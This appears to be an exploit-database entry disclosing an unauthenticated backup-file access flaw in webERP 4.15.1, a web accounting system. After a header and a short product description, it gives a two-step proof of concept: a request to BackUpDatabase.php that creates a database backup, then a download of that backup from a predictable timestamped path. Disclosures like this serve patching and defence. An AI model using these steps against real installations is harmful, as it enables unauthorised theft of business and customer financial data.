webERP 4.15.1 - Unauthenticated Backup File Access

# Exploit Title: webERP 4.15.1 - Unauthenticated Backup File Access
# Date: 2020-05-01
# Author: Besim ALTINOK
# Vendor Homepage: http://www.weberp.org
# Software Link: https://sourceforge.net/projects/web-erp/
# Version: v4.15.1
# Tested on: Xampp
# Credit: İsmail BOZKURT

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About Software:

webERP is a complete web-based accounting and business management system
that requires only a web-browser and pdf reader to use. It has a wide range
of features suitable for many businesses particularly distributed
businesses in wholesale, distribution, and manufacturing.

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PoC Unauthenticated Backup File Access
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1- This file generates new Backup File:
http://localhost/webERP/BackUpDatabase.php
2- Someone can download the backup file from:
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http://localhost/webERP/companies/weberp/Backup_2020-05-01-16-55-35.sql.gz